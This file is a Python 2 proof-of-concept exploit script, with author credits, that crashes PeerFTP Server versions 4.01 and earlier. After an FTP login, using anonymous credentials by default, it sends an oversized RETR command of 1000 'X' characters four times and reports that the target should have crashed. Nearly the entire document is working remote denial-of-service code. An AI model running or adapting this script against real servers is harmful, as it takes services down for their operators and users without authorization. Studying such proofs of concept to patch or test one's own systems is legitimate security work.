#!/usr/bin/python # PeerFTP Server <=v4.01 Remote Crash PoC # written by localh0t # Date: 19/03/12 # Contact: mattdch0@gmail.com # Follow: @mattdch # www.localh0t.com.ar from socket import * import sys, struct, os if (len(sys.argv) < 3): print "\nPeerFTP Server <=v4.01 Remote Crash PoC" print "\n Usage: %s \n" %(sys.argv[0]) sys.exit() def checkDefaultUser(username,password): if username == '': username = "anonymous" if password == '': password = "anonymous@test.com" else: pass return username,password def createUser(): username = raw_input("[!] Insert username (default: anonymous)> ") password = raw_input("[!] Insert password (default: anonymous@test.com)> ") return checkDefaultUser(username,password) (username,password) = createUser() print "\n[!] Connecting to %s ..." %(sys.argv[1]) # connect to host sock = socket(AF_INET,SOCK_STREAM) sock.connect((sys.argv[1],int(sys.argv[2]))) sock.recv(1024) print "[!] USERNAME: " + username sock.send("USER " + username + "\r\n") sock.recv(1024) print "[!] PASSWORD: " + password sock.send("PASS " + password + "\r\n") sock.recv(1024) print "[!] Sending payload..." payload = "RETR " + ("X" * 1000) + "\r\n" for i in range (1, 5): sock.send(payload) sock.close() print "[!] Exploit succeed. Target should crashed." sys.exit()